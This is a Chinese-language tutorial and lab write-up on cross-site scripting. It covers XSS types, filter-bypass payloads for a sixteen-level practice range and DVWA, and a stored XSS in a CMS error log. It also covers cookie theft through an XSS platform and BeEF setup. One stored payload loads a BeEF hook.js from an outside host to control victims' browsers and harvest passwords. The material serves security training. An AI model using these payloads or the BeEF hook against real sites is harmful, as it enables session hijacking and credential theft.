跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
什么是XSS?
XSS我个人的理解是前端代码注入——用户输入的数据被当做前端代码执行
前端代码:构建网页的代码
HTML:构成网页的基础和骨架
CSS:美丽的化妆师(美化页面)
Javascript:可以操纵浏览器/动画
XSS的核心是执行JS代码
注入攻击的本质,是把用户输入的数据当做代码执行。
正常情况后端与前端的关系
后端处理数据(目标服务器上执行)
前端主要是一个显示(客户端浏览器)
前端代码执行是在用户个人浏览器上执行,所以如果存在前端代码注入,此时如果后端服务器将我们写的恶意语句过滤了;或者允许写入恶意语句,但是会将其删除,这都会使得xss无效。所以需要正常写入,也需要正常输出。
关键条件
- 第一个是用户能够控制输入
- 第二个是原本程序要执行的代码,拼接了用户输入的数据
那么XSS主要拼接的是什么?
SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:xss就是拼接恶意的HTML)
xss的功能
盗取Cookie(用的最频繁的)
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕
网页上的键盘记录
xss分类
反射型XSS (你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击)
存储型XSS (你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发)
DOM型XSS(不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。)
JS代码触发方法
标签法
在<script>
于</script>
之间的内容都会被当做JS代码来执行
<script>alert(1)</script>
alert(1):表示JS代码里面的弹窗,其中“1”就是弹出的内容
伪协议法
小众协议叫做伪协议(看起来像是假的协议,我一度以为是钓鱼网站。也可以理解为自定义协议):
- weishi://
-
weixin://
-
javascript:
javascript:伪协议的使用 <a href=javascript:alert(1)>123</a> <a>:a连接,可以理解为超链接 href:指定连接的地址,正常是一个URL,我们这里使用javascript伪协议 123:就是我们通过点击这个按钮来触发超链接
事件触发法
on 专门表示事件的东西(事件加在标签里面的)
<img src='¥#¥#' onerror=alert(888) />
img标签:加载图片
src:指定照片地址
onerror:事件用于加载失败时候的弹窗
有哪些事件
https://www.w3school.com.cn/jsref/jsref_events.asp
靶场练习
靶场一
观察靶场
观察靶场,发现了GET传参name,传参的值在页面上直接显示了处理,同时在payload处有传参获取的值的长度
传递JS语句
?name=<script>alert('test')</script>
成功
靶场二
完成靶场一会自动跳转到靶场二
观察靶场二
看起来与靶场一差不多,只不过多了一个输入栏和搜索按钮
直接传递JS语句
这次直接执行没有成功了
查看源码
功能分析
从源码来看,它的功能就是通过点击“搜索”按钮,将输入框内的内容以get方式提交给服务器上的level2.php
经过服务器的动态处理之后又会将参数keyword的值插入到<h2> </h2>标签之中以及添加到<input>标签中的value属性的值内。
可以看到在<h2> </h2>标签之中的恶意代码被编码了。
插入到value参数值中的恶意代码并没有被编码而是直接原样返回但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。
尝试闭合标签
"><script>alert('test')</script>//
通过">将value进行闭合
通过//将">注释
靶场三
完成靶场二会自动跳转到靶场三
观察靶场三
看着和靶场二很像
直接传递JS语句
也是出现了报错
查看源码
可以看到在<h2> </h2>标签之中的恶意代码被编码了。
插入到value参数值中的恶意代码也被编码
构造onclick事件
onclick 事件会在元素被点击时发生。
onclick=alert(1)
<input name=keyword value=''>
前闭合,后注释:'onclick=alert(1) >//
发送构建的事件
点击触发事件
执行成功
靶场四
直接传递JS语句
报错,同时发现我们输入的尖括号,都不见了
查看源码
h2处被编码,input处直接删除了尖括号。但是事件触发器不会使用尖括号,直接使用onclick事件
发送事件
"onclick=alert("test")//
点击触发事件
执行成功
靶场五
直接传递JS语句
出现报错,第一个script中间出现了一个下划线
查看源码
尝试事件语句
也失败了
查看源码
发现这里也被添加了下划线
新增标签
此处既然无法通过<script>
标签或触发事件来执行js代码的话,那么可以尝试换一个标签来执行js代码。
使用href标签
href 属性规定链接的目标地址,正常来说是指定一个URL,但是我们这里在后面加一句JS代码,使其进行代码的执行而非页面的跳转
"> <a href=javascript:alert('test')>test</a>//
点击新标签
执行成功
靶场六
直接传递JS语句
查看源码
上被编码,下被加下划线,和上一题类似
新增标签
发现我们创建的标签无法点击~~
查看源码
这不G了???这也给我加下换线,还能不能愉快的玩耍了
尝试大小写
咱也是绕过黑名单的,熟练切换大小写,来试试
"> <a HrEf=javascript:alert('xss')>xss</a>//
感觉好像对了,标签蓝了
点击标签
执行成功!
靶场七
直接传递JS语句
报错一点都不意外,但是这个script不见了是什么鬼
查看源码
上编码,下删除script
使用事件
貌似也是不行
查看源码
??on被过滤了??
新增标签
查看源码
href和script都被过滤了,很明显是有正则匹配删除的,想到了文件上传的双写绕过和大小写绕过了
双写绕过
"><scscriptript>alert('xss')</scscriptript>//
nice~,大小写绕过你们可以自己试试
靶场八
直接传递JS语句
查看源码
发现我们输入的内容,出现了两次
一个会插入到<input>标签的value属性值中,尖括号被转义了
一个会插入到下方<a>标签的href属性值中,script中被加了下划线
创建事件
查看源码
用来闭合的双引号呗编码了,onclick事件被下划线破坏了
大小写绕过也无效,这可怎么办,想想文件上传好像没有什么好的办法了。既然会将我输入的内容进行编码,那我是否可以以毒攻毒直接对齐进行编码, 使其不被过滤呢?
有解码功能才可以使用编码,如果抓包发现内容被编码了,说明肯定有解码功能,所以可以试试是否可以编码绕过
进行编码
Unicode:javascript:alert('xss')
ASCII:javascript:alert('xss')
点击标签
执行成功
靶场九
看起来和上面的很相
直接上传ASCII编码
一点也不意外的报错了
查看源码
提交的参数值插入到了标签的value属性值中
但是在<a>标签的href属性中却并没有出现该参数值,
而是显示的 "您的链接不合法?有没有!"这样的字符串。
猜测这里可能对url地址做了匹配。
只有包含正常的url地址才能添加到href属性值中
构造有URL地址的恶意代码
javascript:alert('xss')http://www.baidu.com
查看源码
又是下划线!!
结合编码与正常的URL
既然javascript关键字你给我加了下划线我就给javascript进行编码
Unicode:javascript:alert('xss')http://www.baidu.com
ASCII:javascript:alert('xss')//http://www.baidu.com
注意ASCII编码与正常的URL之间需要加上两条斜杠(//)否则成功写入但是无法跳出弹窗
点击标签
执行成功
靶场十
返璞归真?怎么看着和靶场一很像呢?
直接传递JS语句
查看源码
不出任何意外的报错了,查看一下源码
在源码中有一个隐藏的表单。
其中含有t_link t_history t_sort这样三个隐藏的<input>标签
这里有三个<input>标签的话,也就意味着是三个参数看看哪一个标签能够被突破
寻找突破口
<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现页面好像不太一样了
查看源码
从页面响应来看,有一个<input>标签的状态可以被改变。这个标签就是名为t_sort的<input>标签,之前都是隐藏状态,但是通过构造参数响应发现只有它里面的值被改变了。
因此可以从该标签进行突破,尝试能不能注入恶意代码进行弹窗。
构造事件
<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
触发事件
执行成功
靶场十一
看着和上面的差不多
直接使用上面的语句
失败不意外,看看源码去
查看源码
可以看到如同第十关一样有隐藏的表单
不同的是多了一个名为t_ref的<input>标签。
发现其实t_sort仍然是接受参数值的,但是里面的双引号被编码了这样浏览器只能正常显示字符但是却无法起到闭合的作用了。
进行抓包
可以看到在原始的请求数据包中并没有referer这个请求头,那么我们可以自己给它加上
发现referer的值会赋给t_ref
构造代码
referer:" type="text" onclick="alert('xss')
第一个双引号用于闭合value=",onclick="这里的双引号用于闭合最后自动生成的一个双引号
回到proxy模块进行,添加代码放行网页
触发事件
执行成功
靶场十二
不试了,试了反正也是错,直接看源码了
查看源码
这个看着是不是很眼熟?像不像User-Agent字段的值?
抓包
一毛一样
构建恶意代码
User-Agent:" type="text" onclick="alert('xss')
看着好像没什么问题, 在proxy模块中修改放行
触发事件
执行成功
靶场十三
查看源码
看着好像没有什么,抓包试试
抓包
发现t_cook的值是cookie字段的内容
构建恶意代码
" type="text" onclick="alert('xss')
看着好像没什么问题,返回proxy模块修改放行
触发事件
执行成功
靶场十四
没有办法正常载入,就不管了,直接十五题
靶场十五
传参为src上传了一张照片
查看源码
我们提交的参数src的值被插入到了<span>标签的class属性值中,前面还有ng-include这样的字符。
ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
文件包含
看到这里是不是想到了我们的文件包含漏洞,不管执行什么后缀的文件都是当做php来执行,那么这里是不是也可以包含一个之前成功攻陷的靶场的文件,然后攻击那个靶场就可以了呢?
?src='level1.php?name=<img src=1 onerror=alert("xss")>'
说明:
这里参数值算是一个地址,所以需要添加引号
具体内容为包含level1.php文件,name为添加图片,图片地址为1,如果加载图片时发生错误执行Javascript语句
执行代码
直接弹出成功提示信息
靶场十六
查看源码
看着还是挺正常的
上传基本弹窗代码
报错不意外。查看下源码
查看源码
好家伙,script和“/”直接改写为“ ”
添加标签
<img src=1 onerror=alert("xss")>
还是失败?
查看源码
好狠,空格你都给我转换了##
构造语句
既然事件里你不让我有空格,那我是不是可以用回车来将它们分开为多行呢?
<img
src="111"
onerror=alert('xss')
>
回车可以用url编码格式%0a来表示
写入内容:<img%0asrc="111"%0aonerror=alert('xss')%0a>
反射型XSS
通过给别人发送带有恶意脚本代码参数的url,当url地址被打开时,特有的恶意代码参数别html解析,执行。特点是非持久化,也不存入网站服务器中。
缺点:
- 必须用户点击带有特定恶意脚本代码参数的链接才能执行
- 恶意代码存放在url中,只有用户在点击恶意链接的时候才会执行恶意代码,所以它的隐蔽性很差,可以直观的看到访问了怎样的站点,当然不了解的,也不容易看出来。
存储性XSS
最直接的危害类型,跨站代码存储在服务器(数据库)。
攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。攻击者在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。
靶场练习
使用DVWA靶场中的存储型靶场,使用low级别
message处写入JS语句
此时无法判断是反射型xss,还是存储型xss,通过数据库进行查看
确认了,确实是存储型xss
觉得没什么危害我们可以获取一下cookie
XSS平台的使用
搜索xss平台
直接网上搜索xss平台,会有很多,自行选择,我这边使用的是此平台
https://xssaq.com/
注册账号
创建项目
有很多模块可以选择,我这里直接使用基础默认模块
点击下一步就会出现很多JS语句进行使用
在XSS平台上成功获取到cookie
注意:cookie只能在同源网站下才能使用
成功访问
CMS漏洞
CMS安装
文件上传至根目录
注意:此CMS需要放在根目录下,不能放在子目录下
phpstudy设置
选择此版本
勾选允许目录列表
注意勾选此选项,如果不勾选直接访问会报错403
访问install.php
开始安装
如果全部为绿勾,点击下一步
登录后台
默认用户名和密码都是admin
漏洞复现
漏洞原理:
通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。
漏洞poc:
http://ip:port/index.php?c=mail&m=test
本地复现
换个浏览器不登录做为游客访问http://192.168.239.254/index.php?c=mail&m=test<script>alert("xss")</script>
出现弹窗
管理员查看日志
也出现弹窗,即为存储性xss
服务器查看错误日志
路径:C:\phpStudy\PHPTutorial\WWW/cache/errorlog/log-2022-07-20.php
很明显可以看到JS语句并没有被过滤掉,所以管理员在查看错误日志的时候会出现弹窗
Cookie可以有防护: 可以让别人XSS打不到
http-only 防止XSS获取Cookie,禁止Js去读取存在http-only的cookie,http-only 网站决定 自己也可以去设定
同源策略
同源策略是一个重要的安全策略,它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介。
同源的定义
如果两个 URL 的 protocol、port (en-US)(如果有指定的话) 和 host 都相同的话,则这两个 URL 是同源。这个方案也被称为“协议/主机/端口元组”,或者直接是 “元组”。(“元组” 是指一组项目构成的整体,双重/三重/四重/五重/等的通用形式)。
下表给出了与 URL http://test.company.com/dir/page.html
的源进行对比的示例:
URL | 结果 | 原因 |
---|---|---|
http://test.company.com/dir2/other.html |
同源 | 只有路径不同 |
http://test.company.com/dir/inner/another.html |
同源 | 只有路径不同 |
https://test.company.com/secure.html |
失败 | 协议不同 |
http://test.company.com:81/dir/etc.html |
失败 | 端口不同 ( http:// 默认端口是 80) |
http://news.company.com/dir/other.html |
失败 | 主机不同 |
DOM型XSS
DOM—based XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
dom就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。通过Js去对网页进行修改,变化执行
DOM有三种对象
- document:操控网页
- location:返回主机信息
- windows:表示浏览器中打开的窗口
Document 对象
Document => 接口(通信的渠道)
程序和脚本语言可以通过dom接口来修改前端页面显示
Document 对象使我们可以从脚本中对 HTML页面中的所有元素进行访问。
Document的存在可以让浏览器获取网页信息
然后用Js来填充来节约服务器性能(因为前端代码都在客户浏览器上面执行,和服务器无关)
常用document对象
document.cookie 读取当前网页的Cookie [xss必备]
document.lastModified 获得当前页面的最后修改时间 [识别伪静态必备]
document.write 向文档中写文HTML或者JS代码 [Dom xss常见的存在方式]
随便找个页面试试write对象属性的作用
不管原始页面的内容是什么,反正现在显示的是123,是我们在document.write()中设置的值
常见漏洞分析
document.write()
<script>
var pos=document.URL.indexOf("name=")+5; //获取URL中首次出现name=出现的位置,再加5
var username = unescape(document.URL.substring(pos,document.URL.length)); //取name=后面的值
var r='<b>'+username+'</b>'
document.write(r); //写name=后面的值
</script>
如果不知道函数的作用,可以百度一下或者执行一下
所以此段代码的作用就是将name=后面的内容过滤出来然后输出,那么我们如果在name=后面写入弹窗,进行XSS攻击会怎么样呢?
这就是最最经典的DOM攻击,虽然我们只是使用这一小段代码,但是这是很多网页源码中的一部分,有时候我们在网页上输入的内容,就是被document.wirte所读取的,所以我们可以查看源码中是否存在此语句,如果有就可以尝试是否存在DOM型XSS
innerHTML
<div id='test'>heihei</div> //设置一个标签test,值为heihei
<input type="button" onclick=fun() value="点击有惊喜"> //有一个按钮,会触发事件onclick
<script>
function fun(){ //事件具体执行的内容
var url=unescape(document.URL); //获取URL,对其解码
var pos=url.indexOf("name=")+5; //获取URL中首次出现name=出现的位置,再加5
document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';} //选中标签test,读取其信息,然后修改为Hi,name=后面的内容
</script>
这里直接使用标签法无法正常弹窗,使用事件触发
eval
</h1>Hello World</h1>
<script>
var a =location.hash.substr(1); //获取锚点(#)后面的内容
eval(a); // 把#后面的值当做代码执行
</script>
说明:
eval是高危函数。 把字符串当做代码进行执行
location对象中的hash属性表示:设置或返回从井号 (#) 开始的 URL(锚)。
坑:同学们直接输入alert(1)看看是否会出弹窗
点击查看
因为锚点后的内容变化不会刷新页面,所以你直接回车是没有用的,要成刷新页面,要么重新打开一个网页
靶场演练
DVWA中Low
正常运行
点击select之后,前面框里内容就是default传参的值
查看源码
标签法写入语句
?default=<script>alert(1)</script>
出现弹窗
DVWA中Medium
标签法写入语句
直接跳转回?default=English
查看源码
前端源码的内容一样的,那就肯定是有后端的过滤了,试试常用的绕过方式
构造事件语句
?default=</option></select><img src=EE onerror=alert(1)>
由于select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS
出现弹窗
DVWA中High
事件语句写入
直接跳转回?default=English页面
查看源码
依旧是没有变换,肯定又是后端过滤了
尝试绕过
试了多种方式比如双写,大小写等都不行,查看一下他的过滤规则
好家伙白名单,只能出现这几个值
白名单绕过
还记得之前的坑吗?如果有井号那么不会触发页面的刷新,不会传给后端,那么我们是不是可以通过井号来绕过白名单呢?
English#</option></select><img src=1 onerror=alert(1)>
成功绕过
beef工具的使用
简介
BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。 用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。
BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。
Beef-xss是对xss漏洞的最大化利用,直接获取对方系统信息以及作为社会工程学工具进行利用
下载
┌──(root㉿kali)-[~]
└─# apt install -y beef-xss
设置
┌──(root㉿kali)-[~]
└─# cd /usr/share/beef-xss
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# ls
arerules beef_cert.pem config.yaml db Gemfile set-new-pass.rb update-geoipdb
beef beef_key.pem core extensions modules tools
#修改配置文件
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# vim config.yaml
user: "admin" #用户名
passwd: "Huawei@123" #密码
host: "192.168.239.132" #主机
#启动服务器
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# systemctl start beef-xss.service
使用
获取URL和钩子
┌──(root㉿kali)-[/usr/share/beef-xss]
└─# ./beef
[23:13:07][*] Browser Exploitation Framework (BeEF) 0.5.4.0-pre
[23:13:07] | Twit: @beefproject
[23:13:07] | Site: https://beefproject.com
[23:13:07] | Blog: http://blog.beefproject.com
[23:13:07] |_ Wiki: https://github.com/beefproject/beef/wiki
[23:13:07][*] Project Creator: Wade Alcorn (@WadeAlcorn)
-- migration_context()
-> 0.0059s
[23:13:07][*] BeEF is loading. Wait a few seconds...
[23:13:07][!] [AdminUI] Error: Could not minify JavaScript file: web_ui_all
[23:13:07] |_ [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
[23:13:07][!] [AdminUI] Error: Could not minify JavaScript file: web_ui_auth
[23:13:07] |_ [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
[23:13:07][*] 8 extensions enabled:
[23:13:07] | Events
[23:13:07] | Admin UI
[23:13:07] | Social Engineering
[23:13:07] | Network
[23:13:07] | Proxy
[23:13:07] | Requester
[23:13:07] | XSSRays
[23:13:07] |_ Demos
[23:13:07][*] 306 modules enabled.
[23:13:07][*] 1 network interfaces were detected.
[23:13:07][*] running on network interface: 192.168.239.132
[23:13:07] | Hook URL: http://192.168.239.132:3000/hook.js #钩子
[23:13:07] |_ UI URL: http://192.168.239.132:3000/ui/panel #URL
[23:13:07][*] RESTful API key: bdf0935c5e45bf31eec9042372361ef6294793fd
[23:13:07][!] [GeoIP] Could not find MaxMind GeoIP database: '/var/lib/GeoIP/GeoLite2-City.mmdb'
[23:13:07] |_ Run geoipupdate to install
[23:13:07][*] HTTP Proxy: http://127.0.0.1:6789
[23:13:07][*] BeEF server started (press control+c to stop)
[23:13:07][!] Another process is already listening on port 3000, or you're trying to bind BeEF to an invalid IP.
[23:13:07][!] Is BeEF already running? Exiting...
#说明
URL用于登录beef
钩子用于让别人访问进行xss攻击
登录
开始搞事
使用存储型XSS的CMS
通过存储型XSS上传钩子
http://192.168.239.254/index.php?c=mail&m=test<script src=http://192.168.239.132:3000/hook.js></script>
本地访问
只要访问了钩子连接都会在beef上显示
服务器端查看日志
beef上查看在线用户
本地,和服务器都在了
将本地浏览器关闭
用户下线
双击用户
获取大量的用户信息
常用模块
Details是浏览器信息详情
Logs能记录你在浏览器上的操作,点击,输入操作都能记录
Commands是你能对该浏览器进行哪些操作
执行功能
这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的是每个功能分类里面的个数
我们随便点开一个看看, 发现有四种颜色的功能。
- 绿色的代表该功能有效,并且执行不会被用户所发现
- 橙色的代表该功能有效,但是执行会被用户所发现
- 白色的代表该功能不确定是否有效
- 红色的代表该功能无效
网页重定向
获取密码
浏览器上出现弹窗,如果管理员输入了用户密码
成功获取到了用户名和密码